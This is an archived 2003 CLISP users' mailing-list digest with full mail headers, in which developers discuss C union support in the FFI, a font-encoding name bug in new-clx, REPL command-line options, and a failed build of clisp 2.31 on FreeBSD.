esmtp (Exim 4.24) id 1AVW0c-0004DU-8l for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 05:10:06 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 0EDFE10DE07 for ; Sun, 14 Dec 2003 08:10:04 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id hBEDA38M023182 for ; Sun, 14 Dec 2003 08:10:03 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id hBEDA3Gm023179; Sun, 14 Dec 2003 08:10:03 -0500 Message-Id: <200312141310.hBEDA3Gm023179@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI questions about "C" unions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 14 05:11:00 2003 X-Original-Date: Sun, 14 Dec 2003 08:10:03 -0500 I'm interfacing w/ a library (the Java "C" interface actually) that uses a C "union" type. E.g. to paraphrase its header file: /* Simplified example from */ typedef union jvalue { x int; f float; d double; } jvalue; Now, I would like to pass these (and arrays of them) to and from my Lisp and "C" code. I know how to do this with structs: use say DEF-C-STRUCT foo (member1 Cc: Bruno Haible , Joerg-Cyril.Hoehle@t-systems.com Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200312141310.hBEDA3Gm023179@van-halen.alma.com> (John K. Hinsdale's message of "Sun, 14 Dec 2003 08:10:03 -0500") References: <200312141310.hBEDA3Gm023179@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI questions about "C" unions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 14 08:38:01 2003 X-Original-Date: Sun, 14 Dec 2003 11:37:41 -0500 > * John K. Hinsdale [2003-12-14 08:10:03 -0500]: > > I'm interfacing w/ a library (the Java "C" interface actually) that > uses a C "union" type. E.g. to paraphrase its header file: > > /* Simplified example from */ > typedef union jvalue { > x int; > f float; > d double; > } jvalue; (c-union (d double-float) (f single-float) (x int)) note that the first slot should be the largest. > Now, I would like to pass these (and arrays of them) to and from my > Lisp and "C" code. I know how to do this with structs: use say > > DEF-C-STRUCT foo (member1 > and then you get Lisp accessors FOO-MEMBER1 defined. > > There doesn't seem to be a DEF-C-UNION that accepts a "C" declaration > tag like a structure. disclaimer: the only purpose of this message is to bring the question to the attention of the experts (Bruno & Joerg). All information herein should be assumed false unless proved otherwise. Any resemblance to reality you observe is purely accidental. -- Sam Steingold (http://www.podval.org/~sds) running w2k We're too busy mopping the floor to turn off the faucet. From pascal@informatimago.com Sun Dec 14 09:48:39 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVaMB-0000rH-2j for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 09:48:39 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AVaMA-000368-2L for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 09:48:38 -0800 Received: from thalassa.informatimago.com (unknown [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id EBA9D586E4 for ; Sun, 14 Dec 2003 18:48:30 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 35884384B7; Sun, 14 Dec 2003 18:47:59 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20031214174759.35884384B7@thalassa.informatimago.com> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 14 09:49:02 2003 X-Original-Date: Sun, 14 Dec 2003 18:47:59 +0100 (CET) While compiling garnet with clisp 2.31 on Darwin, I get this error: Loading #P"/local/share/lisp/packages/net/sourceforge/garnet/gadgets/scrolling-menu" ;; Loading file /local/share/lisp/packages/net/sourceforge/garnet/gadgets/scrolling-menu.lisp ... Object SCROLLING-MENU-FRAME Object SCROLLING-MENU-INTERIM-FEEDBACK Object SCROLLING-MENU-TITLE Object SCROLLING-MENU-TEXT-LABEL-PROTOTYPE Object SCROLLING-MENU-ITEM Object SCROLLING-MENU-ITEM-LIST Object SCROLLING-MENU-SCROLL-BAR Object SCROLLING-MENU-SELECTOR Object SCROLLING-MENU *** - EXT:MAKE-ENCODING: illegal :CHARSET argument "ISO8859-1" Indeeed, the exported symbol is ISO-8859-1. 1. Break GG[14]> :bt <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # <11> # <12> # <13> # <14> # <15> # <16> # <17> # <18> # <19> # <20> # <21> # <22> # The error seems to be coming via XLIB:MAX-CHAR-ASCENT from clisp/modules/clx/new-clx/clx.f line 1056 to 1081. It looks like it builds the encoding name from the registry of some X font. Unfortunately, that registry is "iso8859" while the CHARSET package exports ISO-8859-1 et al. I hoped to be able to correct this bug adding this: char* new_registry=0; char* old_registry=0; if((strncmp(names[0],"iso",3)==0)&&(names[0][3]!='-')){ new_registry=malloc(strlen(names[0])+2); sprintf(new_registry,"iso-%s",names[0]+3); old_registry=names[0]; names[0]=new_registry; } at the point marked /***BEFORE***/ and this: if(new_registry){ free(new_registry); names[0]=old_registry; } at the point marked /***AFTER***/, but it does not seem to work. xatoms[0] = rgstry; xatoms[1] = encdng; names[0] = NULL; names[1] = NULL; # if !defined(HAVE_XGETATOMNAMES) names[0] = XGetAtomName (dpy, xatoms[0]); names[1] = XGetAtomName (dpy, xatoms[1]); status = names[0] && names[1]; # else status = XGetAtomNames (dpy, xatoms, 2, names); /* X11R6 */ # endif if (status) { /***BEFORE***/ end_x_call(); pushSTACK(asciz_to_string (names[0], GLO(misc_encoding))); pushSTACK(`"-"`); pushSTACK(asciz_to_string (names[1], GLO(misc_encoding))); value1 = string_concat(3); pushSTACK(`:CHARSET`); pushSTACK(value1); pushSTACK(`:OUTPUT-ERROR-ACTION`); pushSTACK(fixnum(info->default_char)); funcall(L(make_encoding), 4); pushSTACK(STACK_0); /* obj */ pushSTACK(`XLIB::ENCODING`); pushSTACK(value1); funcall (L(set_slot_value), 3); /***AFTER***/ } -- __Pascal_Bourguignon__ . * * . * .* . http://www.informatimago.com/ . * . .* There is no worse tyranny than to force * . . /\ () . * a man to pay for what he does not . . / .\ . * . want merely because you think it .*. / * \ . . would be good for him. -- Robert Heinlein . /* o \ . http://www.theadvocates.org/ * '''||''' . SCO Spam-magnet: postmaster@sco.com ****************** From taube@uiuc.edu Sun Dec 14 10:38:38 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVb8Y-0002NR-Bo for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 10:38:38 -0800 Received: from smtp807.mail.sc5.yahoo.com ([66.163.168.186]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.24) id 1AVb8Y-0003jE-3d for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 10:38:38 -0800 Received: from unknown (HELO galen) (rick.taube@sbcglobal.net@64.108.1.58 with login) by smtp807.mail.sc5.yahoo.com with SMTP; 14 Dec 2003 18:38:37 -0000 Message-ID: <000701c3c272$1ac84a60$3a016c40@galen> From: "Rick Taube" To: References: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> Subject: Re: [clisp-list] Re: -repl problem in clisp 2.31 ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 14 10:39:04 2003 X-Original-Date: Sun, 14 Dec 2003 12:43:01 -0600 Hi, yes appending "t" to my -x expr gets me to the prompt, albeit with t appearing in the terminal. Thanks for your help! > now how can this be fixed? > > remove the newline separator? > but then you will need to do > clisp -x '*standard-input* ' -repl > (note space after the variable name). > > create a separate REPL for "-x" and the interactive session? > hmm... > From this user's perspective, it would be nice if some combo of "-i ... -x ... -repl" could place the user at clisp's standard input prompt without "t" appearing and with the repl's interaction number still set to 1 in the prompt . and some flavor of -i that could load silently would be nice too. I realize I can add an -x "(load \"src/make.lisp\" :verbose nil)" to do my loading instead of -i but some simple command arg for silent loading might be a generally useful feature. anyway thanks for your help. From sds@gnu.org Sun Dec 14 12:34:24 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVcwa-0005uh-Fo for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 12:34:24 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AVcwa-0004jO-6V for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 12:34:24 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AVcwT-0006vb-00; Sun, 14 Dec 2003 15:34:17 -0500 To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031214174759.35884384B7@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sun, 14 Dec 2003 18:47:59 +0100 (CET)") References: <20031214174759.35884384B7@thalassa.informatimago.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 14 12:35:01 2003 X-Original-Date: Sun, 14 Dec 2003 15:34:16 -0500 > * Pascal J.Bourguignon [2003-12-14 18:47:59 +0100]: > > While compiling garnet with clisp 2.31 on Darwin, I get this error: > > *** - EXT:MAKE-ENCODING: illegal :CHARSET argument "ISO8859-1" > > The error seems to be coming via XLIB:MAX-CHAR-ASCENT from > clisp/modules/clx/new-clx/clx.f line 1056 to 1081. It looks like it > builds the encoding name from the registry of some X font. > Unfortunately, that registry is "iso8859" while the CHARSET package > exports ISO-8859-1 et al. [6]> (make-encoding :charset "iso8859-1") # apparently Darwin does not have a good iconv(), so the right way to handle this problem is to install gnu libiconv and then everything should work OOTB. Bruno, should MAKE-ENCODING automatically convert "iso8859-1" to CHARSET:ISO-8859-1? Should CHARSET contain ISO8859-1 as a synonym for ISO-8859-1? -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. From sds@gnu.org Sun Dec 14 13:20:11 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVdes-0007Zy-TU for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 13:20:10 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AVdes-0007QY-KF for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 13:20:10 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AVder-0004j0-00; Sun, 14 Dec 2003 16:20:09 -0500 To: clisp-list@lists.sourceforge.net, "Rick Taube" Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000701c3c272$1ac84a60$3a016c40@galen> (Rick Taube's message of "Sun, 14 Dec 2003 12:43:01 -0600") References: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> <000701c3c272$1ac84a60$3a016c40@galen> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: -repl problem in clisp 2.31 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 14 13:21:00 2003 X-Original-Date: Sun, 14 Dec 2003 16:20:05 -0500 > * Rick Taube [2003-12-14 12:43:01 -0600]: > > Hi, yes appending "t" to my -x expr gets me to the prompt, albeit with > t appearing in the terminal. Thanks for your help! you're welcome! >> now how can this be fixed? >> >> remove the newline separator? >> but then you will need to do >> clisp -x '*standard-input* ' -repl >> (note space after the variable name). >> >> create a separate REPL for "-x" and the interactive session? >> hmm... trouble is, a REPL ends with an EXIT, so launching two REPL's is tricky. maybe DRIVER should optionally return (when, say, *DRIVER-FINAL-P* is NIL)? > From this user's perspective, it would be nice if some combo of "-i > ... -x ... -repl" could place the user at clisp's standard input > prompt without "t" appearing and with the repl's interaction number > still set to 1 in the prompt . prompt "[1]> " would, indeed, require a second REPL - is not technically, then, at least, ideologically. > and some flavor of -i that could load silently would be nice too. I > realize I can add an -x "(load \"src/make.lisp\" :verbose nil)" to do > my loading instead of -i but some simple command arg for silent > loading might be a generally useful feature. maybe adding "-s/--silent" that will set *LOAD-VERBOSE* and *COMPILE-VERBOSE* to NIL would be a good idea? -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: Serious empowerment. From Joerg-Cyril.Hoehle@t-systems.com Mon Dec 15 11:36:01 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVyVd-00030p-Sc for clisp-list@lists.sourceforge.net; Mon, 15 Dec 2003 11:36:01 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AVyVc-0007dQ-Sy for clisp-list@lists.sourceforge.net; Mon, 15 Dec 2003 11:36:01 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Mon, 15 Dec 2003 20:35:51 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 15 Dec 2003 20:35:51 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE08A4043F@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: bruno@clisp.org, hin@alma.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI questions about "C" unions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 15 11:37:00 2003 X-Original-Date: Mon, 15 Dec 2003 20:35:50 +0100 Hi, >> * John K. Hinsdale wrote: >> I'm interfacing w/ a library (the Java "C" interface actually) that >> uses a C "union" type. E.g. to paraphrase its header file: >> Now, I would like to pass these (and arrays of them) to and from my >> Lisp and "C" code. I know how to do this with structs: use say There are short and very long answers. Let's see if the short one is enough. An array of union types should be easier for in and out. Please work with references (places), e.g. use c-pointer and with-foreign-* judiciously. Consider ffi:slot E.g. (ffi:slot (ffi:element my-place the-index) 'f) ;read/write as float Does that already help or are you stumbling into a fundamental limitation? >[...]and then you get Lisp accessors FOO-MEMBER1 defined. >Is there some reason I cannot do this in CLISP? Please submit a proposal (or implement) Lisp-level accessors. How can they auto-detect the correct type? IMHO, you'll have to write a wrapper that *knows* the correct type (gets it from somewhere) and returns/sets data based on that. That looks like case by case work, which doesn't mean there couldn't be a declarative approach for some common cases. Regards, Jorg Hohle. From hin@van-halen.alma.com Mon Dec 15 11:55:55 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVyot-00043B-37 for clisp-list@lists.sourceforge.net; Mon, 15 Dec 2003 11:55:55 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AVyos-00020G-RK for clisp-list@lists.sourceforge.net; Mon, 15 Dec 2003 11:55:54 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 9C4D610DE8D; Mon, 15 Dec 2003 14:55:52 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id hBFJtp8M002346; Mon, 15 Dec 2003 14:55:51 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id hBFJtpfc002343; Mon, 15 Dec 2003 14:55:51 -0500 Message-Id: <200312151955.hBFJtpfc002343@van-halen.alma.com> From: "John K. Hinsdale" To: Joerg-Cyril.Hoehle@t-systems.com Cc: clisp-list@lists.sourceforge.net, bruno@clisp.org In-reply-to: <9F8582E37B2EE5498E76392AEDDCD3FE08A4043F@G8PQD.blf01.telekom.de> (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] Re: FFI questions about "C" unions X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 15 11:56:02 2003 X-Original-Date: Mon, 15 Dec 2003 14:55:51 -0500 > An array of union types should be easier for in and out. as it happens my C lib's interface uses arrays of unions > Please work with references (places), e.g. use c-pointer and > with-foreign-* judiciously. I'll try :) > Please submit a proposal (or implement) Lisp-level accessors. > How can they auto-detect the correct type? Well, if I have, in C union foo { ival int; dval double; }; then lisp will know which type to use because "ival" is an int and "dval" is a double. So accessor FOO-IVAL will know its an int due to the definition. > IMHO, you'll have to write a wrapper that *knows* the correct type > (gets it from somewhere) and returns/sets data based on that. it's specified in the union declaration just as with a struct. I reiterate my question: why should it be any different than a struct which in "C" languages is syntactically exactly the same as as a union, except for the fact that only one of the members can be set per instance of it (i.e., they "overlap"). At any rate, I've got another way to get around it: I can make a two-element struct struct my_union { char type; void * val }; which encodes which union member is set in the type, and passes the value as an opaque pointer (cast appropriately to point to the correct type on the "C" side), and then use that to set up the union that my library wants to see. A bit clunky, and yes I know I should avoid void * but it will get me up and running. [Background: I'm trying to access some Java classes from Lisp. I know about JaCol but for various reasons I want to load the java runtime ("VM") directly into my CLISP process using the Java "C" API. JaCol has a "looser" coupling and requires external client/processes] From fommil@yahoo.ie Wed Dec 17 07:21:59 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AWdUt-00020Z-Kp for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 07:21:59 -0800 Received: from smtp004.mail.ukl.yahoo.com ([217.12.11.35]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.24) id 1AWdUp-0000j5-6o for clisp-list@lists.sourceforge.net; Wed, 17 Dec 2003 07:21:55 -0800 Received: from unknown (HELO hostess.fommil.homeunix.org) (fommil@217.42.154.51 with login) by smtp004.mail.ukl.yahoo.com with SMTP; 17 Dec 2003 15:21:48 -0000 From: Sam Halliday To: clisp-list@lists.sourceforge.net Message-Id: <20031217152725.75f9403b.fommil@yahoo.ie> X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-freebsd5.2) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="Signature=_Wed__17_Dec_2003_15_27_25_+0000_tOCj3ap/j8disz23" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] compiling clisp-2.31 on FreeBSD-5.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 17 07:23:11 2003 X-Original-Date: Wed, 17 Dec 2003 15:27:25 +0000 --Signature=_Wed__17_Dec_2003_15_27_25_+0000_tOCj3ap/j8disz23 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 7bit hi there, i was trying to compile clisp-2.31 on a FreeBSD-5.2-RC1 system, when the compile failed with this error: ###################################################### $make test -d bindings || mkdir -p bindings test -d regexp || ../src/lndir ../modules/regexp regexp if test -f regexp/configure -a '!' -f regexp/config.status ; then cd regexp ; ./configure --cache-file=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd regexp ; dots=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-I/opt/sam/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC" INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}libcharset.h" CLFLAGS="-x none -Wl,-export-dynamic" LIBS="/opt/sam/lib/libintl.so /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib libcharset.a libavcall.a libcallback.a -lreadline -lncurses /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib " RANLIB="ranlib" CLISP="$CLISP -q" make[1]: Entering directory `/tmp/root.build/clisp-2.31/mysrc/regexp' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/tmp/root.build/clisp-2.31/mysrc/regexp' test -d base || (mkdir base && cd base && for f in lisp.a libnoreadline.a libcharset.a libavcall.a libcallback.a modules.h modules.o makevars lisp.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf base ; exit 1) rm -rf full CLISP_LINKKIT=. ./clisp-link add-module-sets base full regexp || (rm -rf full ; exit 1) make[1]: Entering directory `/tmp/root.build/clisp-2.31/mysrc/regexp' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/tmp/root.build/clisp-2.31/mysrc/regexp' gcc -I/opt/sam/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC -I/tmp/root.build/clisp-2.31/mysrc -c modules.c gcc -I/opt/sam/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC -x none -Wl,-export-dynamic modules.o regexi.o lisp.a /opt/sam/lib/libintl.so /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib libcharset.a libavcall.a libcallback.a -lreadline -lncurses /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib -o lisp.run base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x (saveinitmem "full/lispinit.mem") ;; Loading file regexp/preload.lisp ... ;; Loaded file regexp/preload.lisp 1091504 ; 545752 full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x (saveinitmem "full/lispinit.mem") ;; Loading file /tmp/root.build/clisp-2.31/mysrc/regexp/regexp.fas ... ;; Loaded file /tmp/root.build/clisp-2.31/mysrc/regexp/regexp.fas 1099144 ; 549572 sed: -e expression #1, char 88: Unknown option to `s' make: *** [full] Error 1 ###################################################### maybe there is some GNU sed specific code in the makefiles? but i cannot find it. i would normally just use the BSD ports and be done with it, but i am trying to create a tarball of sources which i can compile on any UNIX system (without root priveledges), so that i can have the same applications which i use on a daily basis no matter where i go. so far i have only managed to get clisp compiled and working on GNU/Linux, but SUN is next. could anyone please help? cheers, Sam --Signature=_Wed__17_Dec_2003_15_27_25_+0000_tOCj3ap/j8disz23 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) 